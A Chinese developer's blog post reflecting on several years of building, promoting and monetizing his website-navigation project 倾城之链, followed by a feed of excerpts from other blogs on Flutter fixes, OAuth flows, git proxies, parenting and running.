那些年，在搭建这个人博客平台 ──「晚晴幽草轩」之时，就有深刻的认识到：当今时代，即便是再小的个体，也当有自己的品牌；这一观点在过去很多文章中，都有极力的去呈现、宣扬。然而，这种影响力毕竟有限，况且对于那些优质品牌，也无法起到实质性作用。要知道，当今时代，最重要莫过于「信息」；对信息的承载，可以说绝大部分是源于网络；而信息在网络中传播，起着绝对作用的则是各类网站；故此，不难得出：对于很多品牌最佳的承载，即「专属网站」；因此，在 2016 年初，就决心自己开发一款产品，为这观点以布道，使那优秀能广传；这即是「倾城之链」得诞生的动机与起源；整体而言呢，可总结为以下几点：
- 尝试解决大数据信息时代，高效汲取优质、有价值信息，以更好服务网民；
- 搭建汇聚优质网站平台，并赋予其👍、👎、分享等功能，以促进个体品牌发展；
- 作为前端开发工程师（当时），欲借此契机，学习、磨练各项技术，提升自我；
假如您对「倾城」 想要了解更多，可参见早期撰写的文章：
如何运营？
倾城之链支持用户注册、登录，以提交推荐的网站。截至目前，从开发到运营，乃至推广，仍由「@轩帅」完成；主要负责审核推荐网站、重设「主题 & 标签」、编写推荐语、发布倾城周刊等工作（其中大部分精确性工作，比如生成周刊，通过 Node.js 或 Deno 编写脚本来完成）。遇见特别有用的产品，会通过小程序或网址推给同事或朋友。得空，也前往 Product Hunt、阿酷导航等平台，发现更多有价值 Web 应用。
如何推广？
从 2019 您开始，主要推广方式变更为：私域互链（还维护了其他几个网站）、购买 Google ADS（谷歌广告）、社区发推广帖、友情链接、SEO 优化。Google Ads 有两段时间，因为每次点击价格问题折腾蛮多，其他的就是不定期增加投入、修改广告内容描述、以及设计并制作广告素材；关乎广告素材制作，虽留有谷歌自适应广告素材，制作心得分享一文，至今也不得其法，只能不断设计然后交有 Google 机器学习去评判，不理想就撤掉重新再来。社区发帖，有在以下平台尝试：
- 链滴社区：[自荐]：个人开源 Web 应用——倾城之链
2019-10 - v2ex 社区：[自荐]个人开源 Web 应用：「倾城之链」
2019-12 - 创造者日报社区：倾城之链 - 免费实用的资源网站导航
2020-04 - 思否社区：轩帅：开启技术变现之路，探索第三收入来源
2020-11 - 为爱发电：致力于塑造新一代、高质量的 Web 应用（网站）导航
2021.02 - 悠然宜想亭：倾城之链：云集全球优秀网站（推荐）
2021-03 - 电鸭社区：[自荐]：个人开源多平台应用——「倾城之链」
2021.10 - 线圈社区：倾城之链 ｜ NICE LINKS
2022.09 - 小众软件：【自荐】倾城之链：在线导航平台，专注优质网站
2022.10 - 独立开发者社区：我的作品 倾城之链 - 优质网站导航应用
2022.10
从流量角度来看，社区发帖所能带来的流量有限，不及投放一天 Google 广告；值此市场低迷之际，持续广告投入，也非长久之计。优化 SEO，从用户所需——「搜索行为」来攫取黄金，相比之下，是更为明智的选择；这也是目前主要努力方向之一。
盈利方式
盈「利」：如果特指金钱；目前方式仅有：广告收入（包含：微信公众号、Google AdSense、小程序广告）。实际上，利，也可以是掌握技术、开阔思维、获取信息、获取数据、收获经验、节省时间等等。「倾城」的初衷与维护，以及后续可能的发展，在时间、得到和失败的洗礼中，逐渐变迁，这「盈利方式」也跟随变化，有必要在此，对其过往趋利方式做下总结：
- 17 ～ 18 年：主要是学习技术，不乏包括前端、后端、设计、运维等；
- 19 ～ 20 年：开发小程序、快应用，尝试开辟新的获利方式和途径；
- 21 ～ 22 年：学习投放 Google AdSense 广告、SEO、接入微信登录等；
当然，所学到零碎技能，远不止这些；此外，收录千款 Web 应用，从而了解很多效率工具、创意产品，对工作和生活，都有一定积极意义。目前来看，在这可量化的价值中，占比最多的莫过于，由「倾城」间接促进提高的工作薪酬。未来，探索用户对象、构建盈利模式，亦是努力侧重点。
心得感悟
过去这几年的业余时间，很大部分给了娱乐；其余不多的“雨露”，则在产品设计及臆想，倾城运营及推广等方面做了“均沾”；如今回顾，虽说有些决策只是蹉跎了岁月，但成长总是需要过程，也就能够释怀。但以下几个方面，在之后的折腾中，实该避免：
- 做好认知：
认知，近期工作总是围绕的主题，五看三定，久思已倦🤮。但，不可否认，做产品须先做好对其认知：服务客户是谁？竞争对手有哪些？如何错位/对位竞争？市场盘子有多大？如何为客户带来价值？盈利模式是什么？未来商业价值何在？…..将这些准确思考并评估清晰，再做长短期规划、可行性分析、实际落地，相信是更棒的选择。 - 瞄准客户：从前总是幻想，「倾城」可以被所有人使用；事实上，绝无可能。就自身而言，假如半年前给我很好的机器学习资料，多半也只是收藏；实际生活、工作用不到，也就不太会去关注、学习乃至使用（于大多数人，学习甚苦，娱乐至上）。用户心智与产品匹配度，是绕不开的结界。因此，后续主要服务于
互联网从业人员；至于内容，则依旧保持开放，不乏包括技术、有趣、人文、信息、资源等。 - 保持平衡：逐利、客户、产品、技术、情怀等考量，该要保持适当平衡（作为开发者，先前较侧重技术、情怀）。按道理，产品、技术都该服务于获利；但获利本质上是为获取更高层次的利「幸福、价值体现」；如果抛弃情怀（价值观），本末倒置之余，也难以在困境中坚持。倘若不能盈利，产品也是难以长久（近两年主要精力在此）。
- 跟随趋势：视频信息，相比于图文，越发更具优势；虽不愿承认，但这是铁一般的事实。就目前而言，「倾城」仍是图文信息，想调整为「视频」格式输出，倒也可以，只不过没有足够智能工具加持，就只有人工处理，代价颇高（得闲时，可录制几期视频，或搞几次直播）。未来将折腾，最好跟随趋势：如 XR、AI、Web3 等。
- 经营资产：打工上班，相对最简单的收入来源；但其本质是一种负债——不上班便没有收入，跟自媒体
蹭热点式经营没有本质区别；相信越来越多人意识到：税后收入及多种收入来源的必要性（经营资产、远离负债）。就自媒体或独立开发者而言，经营长期性内容、打造专属品牌，综合来看或是更可取的选择。
备注：这
五看三定模型，最早源自 IBM 战略制定方法论；五看分别是：看行业/趋势（行业现状，及未来发展趋势）、看市场/客户（市场规模、发展趋势、市场需求、客户痛点）、看竞争（分析竞争对手、知己知彼）、看自己、看机会（市场空间有多大、战略机会点）；根据「五看」得到的输出，在战略制定阶段需要“三定”：定战略控制点（即：竞争优势）、定目标（可量化）、定策略（具体的方案、阶段里程碑、实施策略等）。未来路线图
倾城之链 是在 2017 年初，源于个人所需，外加技术修炼，而开启的独立项目；无论是之前抑或是以后，我自己始终是她的最为忠实的用户；为此，无论「倾城」是否持续盈利，甚至是账面上的亏损，依旧会持续维护。目前而言，为「倾城」所制定的路线图有如下几条（欢迎各界对
倾城感兴趣的朋友，提出您宝贵的建议）：- 认知：思考：如何错位竞争、如何获得更多流量，如何建立更多盈利方式；
- 迭代：优化网站性能，改进 SEO，解决发现的存在问题，增添有价值新功能；
- 学习：学习机器学习相关技术，探索如何用新的手段来填充 & 审核内容。
2022 年 10 月 15 日 ～ 11 月 02 日，写于〔深圳福田〕
您可能感兴趣的文章
- 博客 构建我的被动收入 2022-10-31 08:00:00本文介绍Real-time Web用户体验的演进、相关开发技术的迭代及存在的分布式技术难题，最后介绍Elixir是如何解决这些难题带来新的开发体验。
- 博客 Jiajun的编程随想 2022-10-31 08:00:00《编写可维护的单元测试代码》这篇文章主要讲讲单元测试代码的可维护性。不知道你是否写过面条式的单元测试，也就是这样的结构。坦白讲，我写过不少：```go...
- 博客 MiaoTony's Blog 2022-10-30 23:20:00917
- 博客 MiaoTony's Blog 2022-10-30 22:20:00918
- 博客 二丫讲梵 2022-10-29 17:57:37如要阅读全文，点击标题跳转。学习周刊-总第77期-Vue3右键菜单组件和数据库备份管理平台
- 博客 轶哥博客 2022-10-29 00:40:31<>随着
Kali Liux 2022.3版本的发布，Liux内核也随之更新为5.18.5(2020-07-07)。截止2022年10月29日，amd64架构下最新版内核为5.19.11(2022-10-10)。注意，目前Liux Kerel 5.19生命周期已结束，在 kerel.org 上被标记为 EOL ，这意味着该版本不会再有任何 Bug 修复和安全补丁。建议等待Kali发布最新的内核后及时升级。<>然而随着Kali系统不断升级，中途部分软件包依赖破裂，导致内核无法用正常软件宝管理工具升级的方法升级。 - 博客 技术小黑屋 2022-10-26 08:51:00
有时候我们对 github 的仓库进行 clone 的时候，会发现很慢，甚至是龟速，很不够效率。好在有一个简单且快捷的方法来倍速提升clone 效率。
我们通过检索 git 的帮助文档发现有这样的描述
If you just want to use proxy on a specified repository, don’t need on other repositories. The preferable way is the -c, —config <key=value> option when you git clone a repository. e.g.
实践起来
1git clone https://github.com/flutter/flutter.git --config "http.proxy=192.168.1.6:1611"上面的例子
- 通过
--config "http.proxy=192.168.1.6:1611"设置代理 - 其中
192.168.1.6:1611是代理的地址，需要自己搭建或者可用的
上面的配置好，再次执行，基本上可以得到百倍的提效。
- 通过
- 博客 二丫讲梵 2022-10-23 05:58:03如要阅读全文，点击标题跳转。当我们基于 Dockerfile 构建一个镜像的时候，不可避免的会遇到错误或失败，这个时候，通常我们会核查对应步骤执行的指令，然后调整指令，再次构建镜像，这是一种常规的方法。其实，因为 Docker 底层存储的机制，我们可以直接进入到失败之前成功的那次状态中，然后二次调试我们的指令，从而做到有的放矢地验证。
- 博客 二丫讲梵 2022-10-21 16:16:37如要阅读全文，点击标题跳转。学习周刊-总第76期-Mac电脑中所有软件的icon合集
- 博客 二丫讲梵 2022-10-17 01:12:17如要阅读全文，点击标题跳转。watch命令能够将其他命令的输出定时输出到终端，从而实现监听的能力，在我们要对一些命令状态进行实时监听的场景中，有非常好的应用场景。
- 博客 二丫讲梵 2022-10-14 18:20:30如要阅读全文，点击标题跳转。学习周刊-总第75期-一个开源的SCRM
- 博客 酷 壳 – CoolShell 2022-10-14 12:20:38
这两天跟 Cali 和 Rather 做了一个线上的 Podcast – Ep.5 一起聊聊团队协同。主要是从 IM 工具扩展开来聊了一下团队的协同...
The post 聊聊团队协同和协同工具 first appeared on 酷 壳 - CoolShell. - 博客 Jiajun的编程随想 2022-10-12 08:00:00《OAuth 2 详解（六）：Authorization Code Flow with PKCE》我们在前面了解到，`Authorization Code` 模式是最安全的一种模式，但是必须要有服务端参与进来，因为 `client_secret` 必须保存在服务端才安全。OAuth 2.0 在 [RFC7636](https://www.rfc-editor.org/rfc/rfc7636) 中定义了一种扩展模式，这种模式下，客户端不需要使用 `client_secret`，模式中 PKCE 的全称是 Proof Key for Code Exchange。那怎么理解这个呢？简单来说，就是我们仍然...
- 博客 Jiajun的编程随想 2022-10-11 08:00:00《OAuth 2 详解（五）：Device Authorization Flow》我们经常可以看到这样的需求：智能电视要我们登录帐号，或者是命令行程序，需要登录帐号。提示通常都是：扫码或者打开网页并且输入验证码后登录。这就是device authorization flow的流程了...
- 博客 技术小黑屋 2022-10-11 07:35:00
当我们进行了 flutter 升级后，有时候运行程序会发现无法编译，出现下面这样的错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
[ ] [ +2 ms] ../../../../.pub-cache/hosted/pub.flutter-io.cn/cached_network_image-3.2.0/lib/src/image_provider/multi_image_stream_completer.dart:152:22: Warning: Operand of null-aware operation '?.' has type 'SchedulerBinding' which excludes null. [ ] [ ] - 'SchedulerBinding' is from 'package:flutter/src/scheduler/binding.dart' ('../../../../code/flutter_3/packages/flutter/lib/src/scheduler/binding.dart'). [ ] [ ] SchedulerBinding.instance?.scheduleFrameCallback(_handleAppFrame); [ ] [ ] ^ [ +402 ms] [ +414 ms] ../../../../.pub-cache/hosted/pub.flutter-io.cn/win32-2.3.1/lib/src/structs.g.dart:554:31: Error: Member not found: 'UnicodeChar'. [ ] [ ] int get UnicodeChar => Char.UnicodeChar; [ ] [ ] ^^^^^^^^^^^ [ ] [ ] ../../../../.pub-cache/hosted/pub.flutter-io.cn/win32-2.3.1/lib/src/structs.g.dart:555:38: Error: Setter not found: 'UnicodeChar'. [ ] [ ] set UnicodeChar(int value) => Char.UnicodeChar = value; [ ] [ ] ^^^^^^^^^^^ [ ] [ ] ../../../../.pub-cache/hosted/pub.flutter-io.cn/win32-2.3.1/lib/src/structs.g.dart:557:29: Error: Member not found: 'AsciiChar'. [ ] [ ] int get AsciiChar => Char.AsciiChar; [ ] [ ] ^^^^^^^^^ [ ] [ ] ../../../../.pub-cache/hosted/pub.flutter-io.cn/win32-2.3.1/lib/src/structs.g.dart:558:36: Error: Setter not found: 'AsciiChar'. [ ] [ ] set AsciiChar(int value) => Char.AsciiChar = value; [ ] [ ] ^^^^^^^^^对于这种问题，解决起来也比较简单，执行
1flutter pub upgrade - 博客 技术小黑屋 2022-10-11 07:13:00
是不是每次在制作 PPT 时，都丝毫没有头绪？各种模板东拼西凑没有章法？你和 PPT 高手之间，其实就只差一个 iSlide。
iSlide 是一款口碑优秀的 PPT 插件，海量在线资源库，超 30 万专业模板、素材一键插入 PPT，更有一键排版等 38 种辅助功能，真正实现「让 PPT 设计简单起来」。
iSlide 目前正在限时优惠中，前往数码荔枝买两年送 180 天，买一年送 90 天，每月不到 6 元钱，新用户首单还能立减 5 元，非常值的价格别错过！
赶快点击[合作伙伴]专属优惠链接收下这款人见人爱的 PPT 神器吧！订阅时长可叠加，趁现在便宜快买买买~
8 大资源库，轻松找素材
iSlide 内置 300,000+ PPT 模板，来自专业 PPT 模板设计团队，有原创正版保障，快速检索一键插入 PPT 文档。
8 大资源库为你所用，丰富的各类图标 / 图片 / 插图，可在原位置直接编辑替换，做 PPT 告别四处找素材，一个插件整合你要用的所有资源，轻松高效制作精美 PPT！
智能图表实现数据可视化
iSlide 智能图表改变传统图表的单一样式，拥有当下流行视觉化元素和风格，样式新颖更具设计感。
无需耗费大量时间精力，各种参数化调节，iSlide 让图表制作更简单直观，通俗易懂。
买两年送 180 天，买一年送 90 天，时长可无限叠加，长期需要的用户可多续费几年，每月不到 6 块钱，赶快点击购买吧！
智能对齐排版，专治强迫症
iSlide 为大家提供了丰富的设计工具，涵盖对齐、大小调整、参考线布局、内容选择、矢量、剪贴板、吸附、旋转多种常用操作。告别徒手拖动排版，一键完成各个区域对齐超方便，让幻灯片排版更规范简单。
无论是创建新文档，还是修改旧文档，都能帮你从繁琐的传统编辑中解脱，提升设计效率，呈现专业。
更细致的色彩优化
iSlide 将全球知名公司的色彩搭配方案共享上传，可以在「色彩库」中浏览并一键应用于当前的 PPT 文档，即便不懂设计，也能呈现专业。
更多辅助功能
自己做的 PPT，其实是东一页西一页复制来的？iSlide「一键优化」功能非常适合你，只需轻点一下就能统一 PPT 字体 / 段落。
还有图形矩阵 / 环形布局、图片统一裁剪、补间动画、PPT 瘦身压缩等多项功能，让你的 PPT 设计更简单。
现在点击[合作伙伴]专属优惠链接购买 iSlide，买两年送 180 天，买一年送 90 天，每月不到 6 元钱，助你变身幻灯片高手！前往数码荔枝购买的新用户，首单立减 5 元！
只有一个 iSlide 插件，还缺少 Office 中的 PowerPoint 软件？前往数码荔枝找拼车，官方牵头安全享受 Office 365 订阅，Excel、PowerPoint、Word 三件套安排上，还有 1TB OneDrive 放心用，点击立即上车！
- 博客 Jiajun的编程随想 2022-10-10 08:00:00《OAuth 2 详解（四）：Client Credentials Flow》这种模式，是另外一种简单的授权模式，甚至连用户名密码都不需要，直接根据 `client_id`, `client_secret` 就可以授权。...
- 博客 Jiajun的编程随想 2022-10-10 08:00:00《OAuth 2 详解（三）：Resource Owner Password Credentials Grant》这大概是最简单的一种授权方式之一了，那就是用户名密码授权。通常来说，是不建议使用，但是有一种情况下，非常适合：那就是自家App对接的时候，这样就可以复用已有的授权逻辑。这种模式，通常只适合用在可信度非常高的App里，一般也就是自家的App...
- 博客 Jiajun的编程随想 2022-10-09 08:00:00《OAuth 2 详解（二）：Implict Grant Flow》在 [RFC6749](https://www.rfc-editor.org/rfc/rfc6749#section-4.2) 中，Implict Grant Flow的流程图比较复杂：```...
- 博客 二丫讲梵 2022-10-08 17:28:26如要阅读全文，点击标题跳转。学习周刊-总第74期-一个go语言输出着色包
- 博客 Jiajun的编程随想 2022-10-08 08:00:00《OAuth 2 详解（一）：简介及 Authorization Code 模式》在这个系列里，我们主要讲解 [RFC6749](https://www.rfc-editor.org/rfc/rfc6749) 中定义的四种授权模式，以及 [RFC7636](https://www.rfc-editor.org/rfc/rfc7636) 中定义的 PKCE 模式。这篇文章中，我们将会介绍第一种模式：Authorization Code Flow。不过在此之前，我们需要介绍一些前置概念，方便理解...
- 博客 吕小荣的网志 2022-10-07 21:08:21
沐沐主要收入来源就是做家务，饭后收拾碗筷 2 块钱，扔垃圾 1 块钱，如果勤快点，一周赚 50 元，存够钱后买喜欢的玩具。他自费购买的玩具属于私人财产，赠送朋友或扔掉我都不干涉。
劳动获取收入，储蓄，消费，不赊账。这套金融系统运行的很稳定，但有时也会遭受重大冲击。
每次回老家长辈们把沐沐捧在手心里，见面就给一千块钱。过生日，亲朋好友朋也会顺手给200块钱的压岁钱。平日辛勤劳作，一个月才赚200，现在回一趟老家就可以敛财无数，很自然的他想坐吃山空。
这可怎么办呢？
剥夺
最粗暴的办法是剥夺他的这部分意外收入，直言这部分钱礼尚往来的开支，它并不属于小朋友的。别人给你送红包，我们也要给他们的小孩红包，所以红包和压岁钱都归爸妈所有，以维持这种礼尚往来。
这会让小孩质疑爸妈的权柄。
今年我36岁了，小的时候爸妈套路我的方法我还历历在目。我每次考前三名，奶奶会奖励我200块钱[^我不鼓励这样做，物质奖赏会让小孩丧失动机]；过年爷爷奶奶给我20块钱压岁钱，这些都被我妈收走了，说帮我存着，我就再也没见过它的影。
存到他自己银行卡里
后来我和妻子商量，干脆存到儿子的银行卡里，但是未成年人的银行账户无法购买定期的理财产品。我有很多闲置的银行账户，干脆就拿出一个不常用的，划给儿子用作他的储蓄账户，将来所有意外收入，都存到这个账户下。
- 这个账户归儿子所有。
- 账户里的钱属于儿子的私人财产，我和妻子不会挪用。
- 直接买3年以上的R2级别的定期理财产品。
- 18岁之前不可以支出。
这种方案有几个好处：
- 明确这些钱归孩子所有，给沐沐吃吃定心丸，他不会觉得父母在操控他。
- 让他坚持劳动。没有劳动，就没有收入，也就就没有了玩具，这是社会的运行法则。
- 熟悉各种货币面值，这也是一年级数学的学习内容。
- 他知道自己很有钱，但是没有乱花钱，会自我感觉”很节制“。
- 无论有多少意外之财，都不会冲击家庭金融秩序。
- 花的是自己的钱肉疼，他会去拼多多买便宜货。
- 18岁之后心智已经稍微成熟，相信他可以做出更明智的决定。
关于劳动的奖励，我和妻子的定义也非常严格。
分内的事情是没有工资的，比如按时起床，整理书包，完成作业，收拾自己的衣柜。
只有服务整个家庭的家务，才会拿到工资，比如丢垃圾，饭后收拾碗筷，给爸妈晾衣服。并且提前商量好工资，防止他做一堆家务，只为邀功要赏钱。
- 博客 构建我的被动收入 2022-10-07 08:00:00被动收入投资组合2022年Q3季报
- 博客 Jiajun的编程随想 2022-10-06 08:00:00《ElasticSearch 学习笔记》最近在学习使用ES，这篇博客记录一下相关的知识。在此之前，我都是使用PG的全文索引来做搜索...
- 博客 技术小黑屋 2022-10-04 21:21:00
在我们日常构建 Android app 包时，多少会遇到这样的问题
1 2 3 4 5 6
[ ] e: /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.3/android/src/main/kotlin/com/example/gogogo/xxxManager.kt: (19, 8): Redeclaration: xxxManager [ ] e: /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.3/android/src/main/kotlin/com/example/gogogo/xxxManager.kt: (79, 12): Redeclaration: gogogoResult [ ] e: /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.3/android/src/main/kotlin/com/example/gogogo/xxxManager.kt: (82, 12): Redeclaration: gogogoListResult [ ] e: /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/android/src/main/kotlin/com/example/gogogo/xxxManager.kt: (21, 8): Redeclaration: xxxManager [ ] e: /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/android/src/main/kotlin/com/example/gogogo/xxxManager.kt: (94, 12): Redeclaration: gogogoResult [ ] e: /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/android/src/main/kotlin/com/example/gogogo/xxxManager.kt: (97, 12): Redeclaration: gogogoListResult问题的原因
- 因为 Kotlin 增量编译的bug。当你关闭增量编译时，该问题不会出现。
常用的解决办法
- flutter clean
- 但是这个方法可能会比较重，因为它会清理掉一些多余的缓存，影响构建速度
更加轻量的解决办法
- 该方法只删除对应的pub 缓存，不删除其他的内容。
1 2
#!/bin/bash find ~/.pub-cache/hosted -name "$1-*" -type d -maxdepth 2 | xargs rm -rfv保存上述命令为脚本。
比如我们出问题的 pub 名称为 gogogo 我们只需要清除它的版本缓存就可以了。
1 2 3 4 5 6 7
removePubCache.sh gogogo /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/LICENSE /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/test/gogogo_test.dart /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/test /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/CHANGELOG.md /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/example/test/widget_test.dart /Users/xxxxxxxxx/.pub-cache/hosted/unpub.xxxxx.com/gogogo-1.0.4/example/test然后执行一下
flutter pub get --verbose即可（需要）。 - 博客 MiaoTony's Blog 2022-09-30 20:10:00940
- 博客 二丫讲梵 2022-09-30 16:38:21如要阅读全文，点击标题跳转。学习周刊-总第73期-k8s集群常用监控指标
- 博客 吕小荣的网志 2022-09-29 08:00:00
今年36岁了，感受到年龄对身体的影响。
过去一次可以跑 12 km，现在超过 5km 膝盖就开始不舒服。过去的配速可以控制在6分钟内，但现在只能是 6-8分钟/km。如果硬要勉强自己的身体跑得快，第二天膝盖绝对痛，甚至关节积液。
无论是耐力还是速度，都不行了。
我为什么跑步呢？
似乎也不是为了参加马拉松，就是图个乐子。比较功利原因，跑步可以提高睡眠质量，可以维持大脑的智力。但本质上其实是身体被某种力量召唤着跑步，不跑就不舒服。
“今天说了好多话啊，好累，想独处一会，去跑步吧”
“今天脑子想事情太多，快成浆糊了，去跑个步吧”
常年跑步的人并不依靠坚持和毅力，而是本性使然，并不值得称赞。
既然36岁了，那就继续降低配速吧。当我把配速降低到 8分钟/km 时，运动强度和身体机能开始和谐相处，即使每天跑步也不会膝盖痛。
干脆也不带手机了，不在各种软件中打卡，不记录跑的总里程。政府（或互联网公司）也甭想通过数据分析对我进行画像。
今年夏天热的离谱，穿最好的速干衣也不如光着膀子凉快。每次跑步我都把T恤脱了缠在手上当毛巾，然后光着膀子跑，虽然不雅观，但是真凉快。出汗时还能拿T恤擦汗。
- 博客 吕小荣的网志 2022-09-28 08:00:00
昨天老板说，某个功能你也做了很久了，可以给同事们做个demo，讲一下干了什么，进度是什么，成果是什么。
我本职工作挺忙的，我本来想蒙混过关的。所以还是准备了PPT，按照金字塔原理组织大纲，彩排了几遍。
- 背景
- 问题
- 我们的解决方案
- 获得的商业价值
会后同事们给我的反馈都很好，说进步很大，讲了一个好故事，英文也挺流畅的。（其实他不知道我提前彩排了2遍。）
这让我开始复盘对待公共发言的态度。
美国性格直来直去，如果他做了80分，他绝对会说80分，不会故作谦虚。但中国人性格内敛，如果做了80分，他会说 “没有那么厉害啦，您过奖了，也就60分而已。”
所以在国际化的公司里，中国员工会倾向于“事了拂衣去，深藏功与名”。一旦有公共发言，心理上会把发言当成额外负担，“浪费时间”，“耽误自己干活”。
但公司这么大，业务繁多，同事们压根彼此不认识，老板也不认识每个员工。公共发言是一个绝佳的销售自己和团队的机会。
- 让老板知道事情的来龙去脉，我们为什么要做这件事，我们的产出是什么。
- 可以借机夸赞一下团队成员，那些辛勤的程序员值得被一次次夸赞，他们才是真正的幕后英雄。
将来在发言这件事上，脸皮可以再厚一点。多发言，收集反馈，改进。留意那些优秀的人如何组织会议，如何夸别人，如何礼貌的控制时间。搞砸了也没关系，我只是个小人物，要有点阿Q精神。
Note
本文是写给低调且辛勤的员工们。平日懒惰但善于哗众取宠的员工，不在目标读者之列。
- 博客 吕小荣的网志 2022-09-26 16:30:09
亲爱的18岁的沐沐，
今天是2022年9月26日周一，上周你们刚发了一年级新生的校服，在这个周一小朋友们要穿上刚发的校服，举办这一学期正式的升旗仪式。
早晨起床，你还是一如既往的磨叽。
“沐沐，该起床了”
“沐沐，七点半了，该吃饭了”
“沐沐，该刷牙了”
“沐沐，你的书包昨晚收拾好了吗？”
虽然提醒过你一次，但你丝毫没有赶时间的意思。出发之前，还在摆弄玩具。我心里一次次的有唠叨你的冲动，想帮你再次检查一下书包，但是话到嘴边，又咽回去了。
在上学的路上，看到学校门口非常安静，大家都已经入校了，你开始不安了。
透过栅栏，你看到操场上各班级已经入场，你开始恐慌了。
你又问我 “爸爸，我的练习册放到书包里了吗？”
该放手时就放手，生活是最好的老师，你开始学习承担后果吧。
上次忘记带铅笔，你只能借同学的铅笔，回家后就偷偷在书包放了一支备用铅笔。上次迟到了，你在众目睽睽下进教室，我猜你是脸红的,也吸取了教训。
这一次升旗仪式，全班同学整装待发，就差你一个人，你又要脸红心跳的面对同学们的眼光了。
当人做出糟糕的决策时，就必定要承担后果。
好酒吃肉，就会贫穷。
贪睡懒惰，就穷乏。
替人做担保，就被牵连破产。
醉酒，就会放荡。
迟到和丢三落四有种小错，可以成为练习的道场，吃点苦头，吸取教训，不至于将来犯一些粉身碎骨的错误。
- 博客 二丫讲梵 2022-09-23 16:50:33如要阅读全文，点击标题跳转。学习周刊-总第72期-有些事，不能忘
- 博客 二丫讲梵 2022-09-21 07:11:24如要阅读全文，点击标题跳转。本文来介绍当我们的npm私服配置完毕之后，如何上传到nexus私服中
- 博客 二丫讲梵 2022-09-21 07:10:54如要阅读全文，点击标题跳转。本文来介绍当我们的maven私服配置完毕之后，如何上传到nexus私服中
- 博客 MacTalk-池建强的随想录 2022-09-20 17:56:20没有新的语言 也没有新的方式没有新的力量 能够表达新的感情不是什么痛苦 也不是天 … Continue reading →
- 博客 Randy's Blog 2022-09-20 08:00:00949
- 博客 吕小荣的网志 2022-09-20 08:00:00
沐沐现在七岁，和他在一起相处的时候，会觉得未来的路很长，先把眼前的学业处理好，其他可以等大大后面再教。
转念一想，孩子不过是我人生匆匆过客，他到18岁考入大学，就展翅高飞了。我固然想让他将来住的离我近一点，多见几面，但更有可能他会去不同的城市，甚至不同的国家。
18-7 = 11，只有11年，原来相处的时间是那么少。我一直努力的在教他实践”艾宾浩记忆曲线“，”间隔记忆“，”通过输出锻炼英文口语“，”逻辑“，“学以致用”，但是却从未系统化的和孩子讨论价值观。
18岁时，他恋爱时的择偶观是什么？
品格与美貌并不冲突，但鱼与熊掌不可兼得时，他会做何等的选择？
贪图女孩子的美丽，找错伴侣，会带来一生的痛苦。
箴言 21:9 宁可住在房顶的角上，不在宽阔的房屋与争吵的妇人同住。 箴言 19:13 愚昧的儿子是父亲的祸患，妻子的争吵如雨连连滴漏。
如果他慧眼识珠，找勤劳，节俭，慷慨，怜悯的女子，这回给他带来一生的祝福。
《箴言》31章 10-31：
10才德的妇人谁能得着呢？她的价值远胜过珍珠。
她丈夫心里倚靠她，必不缺少利益；她一生使丈夫有益无损。
她寻找羊绒和麻，甘心用手做工。
她好像商船从远方运粮来，未到黎明她就起来，把食物分给家中的人，将当做的工分派婢女。
16她想得田地就买来；
用手所得之利栽种葡萄园。
17她以能力束腰，使膀臂有力。
18她觉得所经营的有利；她的灯终夜不灭。
19她手拿捻线竿，手把纺线车。
20她张手周济困苦人，伸手帮补穷乏人。
21她不因下雪为家里的人担心，因为全家都穿着朱红衣服。
22她为自己制作绣花毯子；她的衣服是细麻和紫色布做的。
23她丈夫在城门口与本地的长老同坐，为众人所认识。
24她做细麻布衣裳出卖，又将腰带卖与商家。
25能力和威仪是她的衣服；她想到日后的景况就喜笑。
26她开口就发智慧；她舌上有仁慈的法则。
27她观察家务，并不吃闲饭。
28她的儿女起来称她有福；她的丈夫也称赞她，
29说：“才德的女子很多，惟独你超过一切！”
30艳丽是虚假的，美容是虚浮的；惟敬畏耶和华的妇女必得称赞。
31愿她享受操作所得的；愿她的工作在城门口荣耀她。18岁时，他会管理自己的金钱吗？
他会储蓄吗？他会量入为出吗？他会做财务预算吗？他会控制风险吗？
傅雷在家书中，一再叮嘱儿子管理好金钱。
孩子，光是瞧不起金钱不解决问题；相反，正因为瞧不起金钱而不加控制，不会处理，临了竟会吃金钱的亏，做物质的奴役。单身汉还可用颜回的刻苦办法应急，有了家室就不行，你若希望弥拉也会甘于素衣淡食就要求太苛，不合实际了。为了避免落到这一步，倒是应当及早定出一个中等的生活水准使弥拉能同意，能实践，帮助你定计划执行。越是轻视物质越需要控制物质。你既要保持你艺术的尊严，人格的独立，控制物质更成为最迫切最重要的先决条件。孩子，假如你相信我这个论点，就得及早行动。
箴言书也有诸多劝诫
箴言13:7 假作富足的，却一无所有；装作穷乏的，却广有财物。
箴言30:25 蚂蚁是无力之类，却在夏天预备粮食。
箴言书 23：19-21 我儿，你当听，当存智慧，好在正道上引导你的心。 好饮酒的，好吃肉的，不要与他们来往；因为好酒贪食的，必致贫穷；好睡觉的，必穿破烂衣服。
箴言22:26 不要与人击掌，不要为欠债的作保。
他会为了虚荣，购买一堆没用的东西吗？他会为了享乐而刷爆自己的信用卡吗？他会慷慨过度，而泥菩萨过江吗？他会为了钱，和坏人结盟，坑蒙拐骗吗？
巴尔扎克因为和贵族圈子，虚荣消费，终日被债主催债。牛顿把自己的钱买了股票，亏的一塌糊涂。
大学毕业后，他会如何选择自己的职业？
他会为了钱，从事一些对社会毫无用处的职业吗？
生活中不乏这种新闻。
清华北大的高材生，开发假冒的炒股软件，骗取股民的钱。
软件工程师跑到柬埔寨和越南，开发赌博网站，骗大陆人赌博。
